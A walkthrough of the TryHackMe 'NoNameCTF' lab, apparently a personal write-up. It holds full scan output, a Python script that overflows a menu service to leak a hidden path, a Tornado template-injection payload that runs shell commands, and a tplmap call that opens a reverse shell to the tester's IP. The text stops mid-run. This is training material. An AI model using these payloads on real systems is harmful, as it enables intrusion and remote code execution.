NoNameCTF

Last updated 1 year ago

┌──(kali㉿kali)-[~/Downloads] └─$ rustscan -a 10.10.163.81 --ulimit 5500 -b 65535 -- -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 😵 https://admin.tryhackme.com [~] The config file is expected to be at "/home/kali/.rustscan.toml" [~] Automatically increasing ulimit value to 5500. [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers Open 10.10.163.81:22 Open 10.10.163.81:80 Open 10.10.163.81:2222 Open 10.10.163.81:9090 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-20 12:45 EST NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:45 Completed NSE at 12:45, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:45 Completed NSE at 12:45, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:45 Completed NSE at 12:45, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 12:45 Completed Parallel DNS resolution of 1 host. at 12:45, 0.02s elapsed DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 12:45 Scanning 10.10.163.81 [4 ports] Discovered open port 22/tcp on 10.10.163.81 Discovered open port 2222/tcp on 10.10.163.81 Discovered open port 9090/tcp on 10.10.163.81 Discovered open port 80/tcp on 10.10.163.81 Completed Connect Scan at 12:45, 0.19s elapsed (4 total ports) Initiating Service scan at 12:45 Scanning 4 services on 10.10.163.81 Completed Service scan at 12:47, 105.61s elapsed (4 services on 1 host) NSE: Script scanning 10.10.163.81. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:47 NSE Timing: About 99.82% done; ETC: 12:48 (0:00:00 remaining) Completed NSE at 12:48, 30.32s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:48 Completed NSE at 12:48, 1.77s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:48 Completed NSE at 12:48, 0.00s elapsed Nmap scan report for 10.10.163.81 Host is up, received user-set (0.19s latency). Scanned at 2023-01-20 12:45:51 EST for 138s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 12573fcc8639043bf0e646bf7251640b (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+fzUNMdVOD1RLT2OU1iOC5Av68TQ5E7Jy2x1IPhvOHkU8fzeWJBnAPZuxckO2mtmFL73m4mIRo4nyYmlBrTM090Hyg+P+yJUuqepuTLdjXgZW/e1YvmFXoQUXVEencwBLN3dvYJ0t+Jvu4rfCbeyzHfUkTrt6tzxaX3go8FKjVKuYMNq7frgTSWiO/k3rik1MNy4IedQOmKOCwxxAGdXXy+VcGtUAOWlIod6pBIU4CCEQJxE146xEIQI1czJuHrHXombZzfk9Ov+pY2NloxEORPQ2/sRD2+uYnfl4OBWM/uupeY4doRF5futdZ7u5XP+aHSSMRieBRMsgFuR1her | 256 810575ad788362b206415be5a5a9824d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMgGIaiwLHXLXGtioB2ZXuN/bkckCNW8ddroXERn3jIVjGjvDOZJY+J9bR/n2bqa601xbGQLbK8cXsfu4/SjqD4= | 256 0f8d0e19e9c7cc1439e934605cf7aafe (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINcfH8RQ/iANAMirzQDTd9DqQWtaRghdHwVVrAou0c+j 80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 2222/tcp open EtherNetIP-1? syn-ack | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, NULL, SSLSessionReq, TerminalServerCookie: | Welcome to the NoNameCTF! | Choose an action: | regiser: 1 | login: 2 | get_secret_directory: 3 | store_your_buffer: 4 | GetRequest, HTTPOptions, Help, RTSPRequest: | Welcome to the NoNameCTF! | Choose an action: | regiser: 1 | login: 2 | get_secret_directory: 3 | store_your_buffer: 4 | Wrong option |_ Good bye 9090/tcp open http syn-ack Tornado httpd 6.0.3 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/plain). |_http-server-header: TornadoServer/6.0.3 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port2222-TCP:V=7.93%I=7%D=1/20%Time=63CAD356%P=x86_64-pc-linux-gnu%r(NU SF:LL,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\ SF:n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x SF:203\r\n>\x20store_your_buffer:\x204\r\n")%r(GenericLines,7B,"Welcome\x2 SF:0to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x2 SF:01\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store SF:_your_buffer:\x204\r\n")%r(GetRequest,93,"Welcome\x20to\x20the\x20NoNam SF:eCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x SF:202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_your_buffer:\x204\ SF:r\nWrong\x20option\r\nGood\x20bye\r\n")%r(HTTPOptions,93,"Welcome\x20to SF:\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x201\ SF:r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_yo SF:ur_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%r(RTSPRequest,9 SF:3,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x SF:20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\ SF:r\n>\x20store_your_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n") SF:%r(DNSVersionBindReqTCP,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoos SF:e\x20an\x20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20ge SF:t_secret_directory:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(DNSSta SF:tusRequestTCP,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x2 SF:0action:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_d SF:irectory:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(Help,93,"Welcome SF:\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser: SF:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20st SF:ore_your_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%r(SSLSess SF:ionReq,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action SF::\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_director SF:y:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(TerminalServerCookie,7B SF:,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x2 SF:0regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r SF:\n>\x20store_your_buffer:\x204\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:48 Completed NSE at 12:48, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:48 Completed NSE at 12:48, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:48 Completed NSE at 12:48, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 139.83 seconds view-source:http://10.10.163.81/   checkme! view-source:http://10.10.163.81:2222/ Welcome to the NoNameCTF! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 Wrong option Good bye view-source:http://10.10.163.81:9090/ Traceback (most recent call last): File "/home/zeldris/.local/lib/python3.5/site-packages/tornado/web.py", line 1676, in _execute result = self.prepare() File "/home/zeldris/.local/lib/python3.5/site-packages/tornado/web.py", line 2431, in prepare raise HTTPError(self._status_code) tornado.web.HTTPError: HTTP 404: Not Found ┌──(kali㉿kali)-[~/noname_ctf] └─$ nc 10.10.163.81 2222 Welcome to the NoNameCTF! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 1 Enter an username:witty Enter a password:witty Sorry, password too short Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 2 Username:witty Password:witty You're now authenticated! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 3 My secret in the port 9090 is: Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 4 Enter your buffer:A*1000 Flag saved! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 3 My secret in the port 9090 is: A*1000 Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 >>> print("A"*1998) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ┌──(kali㉿kali)-[~/noname_ctf] └─$ nc 10.10.163.81 2222 Welcome to the NoNameCTF! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 1 Enter an username:A*1998 Enter a password:A*1998 User A*1998 successfully registered. You can login now! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 2 Username:A*1998 Password:A*1998 You're now authenticated! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 3 My secret in the port 9090 is: Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 4 Enter your buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Flag saved! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 3 My secret in the port 9090 is: /40b5dffec4e39b7a3e9d261d2fc4a038/ Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 http://10.10.163.81:9090/40b5dffec4e39b7a3e9d261d2fc4a038/ ┌──(kali㉿kali)-[~/noname_ctf] └─$ nc 10.10.163.81 2222 Welcome to the NoNameCTF! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 1 Enter an username:a Enter a password:a Sorry, password too short Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 2 Username:a Password:a You're now authenticated! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 3 My secret in the port 9090 is: Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 4 Enter your buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Flag saved! Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 3 My secret in the port 9090 is: /40b5dffec4e39b7a3e9d261d2fc4a038/ Choose an action: > regiser: 1 > login: 2 > get_secret_directory: 3 > store_your_buffer: 4 or ┌──(kali㉿kali)-[~/noname_ctf] └─$ cat bof.py import telnetlib import argparse parser = argparse.ArgumentParser(description="BOF Exploit") parser.add_argument("host", help="The host IP address") parser.add_argument("port", help="The host port") args=parser.parse_args() #Read and write def read(end_text): tn.read_until(end_text.encode()) def write(text): tn.write(("{0}\n".format(text)).encode()) #Connect tn = telnetlib.Telnet(args.host, args.port) #Register/Login for i in range(1,3): read("4") #Listen for the end of the welcome message write(str(i)) #Pick an option (1 the first time, 2 the second) read(":") #Wait for the end of the username prompt write("jesus") #Enter Username read(":") #Wait for the end of the password prompt write("soon") #Enter password #store buffer read("4") #Listen for the end of the welcome message write("4") #Pick option 4 to store a buffer read(":") #Listen for the end of the buffer prompt write("A"*1998) #Calculate and store the buffer #complete overflow read("4") #Listen for the end of the welcome message write("3") #Pick option 3 to receive our secret directory read("\n") #Work around to get rid of the newline preceeding response print(tn.read_until("\n".encode()).decode()) #Output the directory ┌──(kali㉿kali)-[~/noname_ctf] └─$ python3 bof.py 10.10.163.81 2222 My secret in the port 9090 is: /40b5dffec4e39b7a3e9d261d2fc4a038/ <html> <head><title> Hello </title></head> <body><section class="inside"><h2>Cyber Security training made easy</h2></br>Hello <p class='m0'>TryHackMe takes the pain out of learning and teaching Cybersecurity. Our platform makes it a comfortable experience to learn by designing prebuilt courses which include virtual machines (VM) hosted in the cloud ready to be deployed. This avoids the hassle of downloading and configuring VM's. Our platform is perfect for CTFs, Workshops, Assessments or Training.</p></section></section></div><div class="container main pb"><section class="row"><div class="col-md-4 green-hover"><h2><i class="fas fa-spider"></i> Hack Instantly</h2><p>Learn, practice and complete! Get hands on and practise your skills in a real-world environment by completing fun and difficult tasks. You can deploy VMs, which will give an IP address instantly and away you go.</p></div><div class="col-md-4 green-hover"><h2><i class="fas fa-door-closed"></i> Rooms</h2><p>Rooms are virtual areas dedicated to particular cyber security topics. For example, a room called "Hacking the Web" could be dedicated to web application vulnerabilities. </p></div><div class="col-md-4 green-hover"><h2><i class="fab fa-fort-awesome"></i> Tasks</h2><p>Each room has tasks that contain questions and hints, a custom leaderboard and chat area. Whilst you're hacking away, you can discuss hacking techniques or request help from others.</p></div></section> </body> </html>  http://10.10.163.81:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme=whoami Hello whoami https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python https://ajinabraham.com/blog/server-side-template-injection-in-tornado http://10.10.163.81:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme={{7*7}} Hello 49 <div data-gb-custom-block data-tag="import"></div> - Allows you to import python modules. Example: <div data-gb-custom-block data-tag="import"></div>{{ os.popen("whoami").read() }} http://10.10.163.81:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme={%%20import%20os%20%}{{%20os.popen(%22whoami%22).read()%20}} Hello zeldris https://github.com/epinna/tplmap https://github.com/epinna/tplmap/issues/64 ──(kali㉿kali)-[~/noname_ctf] └─$ virtualenv -p python2.7 env ┌──(kali㉿kali)-[~/noname_ctf] └─$ ls bof.py env ┌──(kali㉿kali)-[~/noname_ctf] └─$ cd env ┌──(kali㉿kali)-[~/noname_ctf/env] └─$ ls bin lib pyvenv.cfg ┌──(kali㉿kali)-[~/noname_ctf/env] └─$ cd bin ┌──(kali㉿kali)-[~/noname_ctf/env/bin] └─$ ls activate activate.ps1 easy_install-2.7 pip-2.7 python2.7 wheel2.7 activate.csh activate_this.py easy_install2.7 pip2.7 wheel activate.fish easy_install pip python wheel2 activate.nu easy_install2 pip2 python2 wheel-2.7 ┌──(kali㉿kali)-[~/noname_ctf/env/bin] └─$ cd ../.. ┌──(kali㉿kali)-[~/noname_ctf] └─$ ls bof.py env ┌──(kali㉿kali)-[~/noname_ctf] └─$ source env/bin/activate ┌──(env)─(kali㉿kali)-[~/noname_ctf] └─$ git clone https://github.com/epinna/tplmap.git Cloning into 'tplmap'... remote: Enumerating objects: 4127, done. remote: Counting objects: 100% (50/50), done. remote: Compressing objects: 100% (40/40), done. remote: Total 4127 (delta 15), reused 33 (delta 10), pack-reused 4077 Receiving objects: 100% (4127/4127), 677.75 KiB | 1.39 MiB/s, done. Resolving deltas: 100% (2694/2694), done. ┌──(env)─(kali㉿kali)-[~/noname_ctf] └─$ cd tplmap ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ ls burp_extension config.yml docker-envs plugins requirements.txt tplmap.py burp_extension.py core LICENSE.md README.md tests utils ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ python2 -m pip install -r requirements.txt DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality. Collecting PyYAML==5.1.2 Using cached PyYAML-5.1.2.tar.gz (265 kB) Collecting certifi==2018.10.15 Using cached certifi-2018.10.15-py2.py3-none-any.whl (146 kB) Collecting chardet==3.0.4 Using cached chardet-3.0.4-py2.py3-none-any.whl (133 kB) Collecting idna==2.8 Using cached idna-2.8-py2.py3-none-any.whl (58 kB) Collecting requests==2.22.0 Using cached requests-2.22.0-py2.py3-none-any.whl (57 kB) Collecting urllib3==1.24.1 Using cached urllib3-1.24.1-py2.py3-none-any.whl (118 kB) Requirement already satisfied: wsgiref==0.1.2 in /usr/lib/python2.7 (from -r requirements.txt (line 7)) (0.1.2) Building wheels for collected packages: PyYAML Building wheel for PyYAML (setup.py) ... done Created wheel for PyYAML: filename=PyYAML-5.1.2-cp27-cp27mu-linux_x86_64.whl size=44911 sha256=37bbeddd242824f328c5b9a19fe71d86bde8aad52e8c3c5d33409585c537c07d Stored in directory: /home/kali/.cache/pip/wheels/87/9b/a7/9bfdaa1487acce958269a6b5f86db2e4d38204dff4e256e23a Successfully built PyYAML Installing collected packages: PyYAML, certifi, chardet, idna, urllib3, requests Successfully installed PyYAML-5.1.2 certifi-2018.10.15 chardet-3.0.4 idna-2.8 requests-2.22.0 urllib3-1.24.1 ┌──(env)─(kali㉿kali)-[~/noname_ctf/tplmap] └─$ ./tplmap.py -u http://10.10.163.81:9090/40b5dffec4e39b7a3e9d261d2fc4a038/?hackme= --reverse-shell 10.8.19.103 1337 [+] Tplmap 0.5 Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Testing if GET parameter 'hackme' is injectable [+] Smarty plugin is testing rendering with tag '*' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' [+] Mako plugin is testing blind injection [+] Python plugin is testing rendering with tag 'str(*)' [+] Python plugin is testing blind injection [+] Tornado plugin is testing rendering with tag '{{*}}' [+] Tornado plugin has detected unreliable 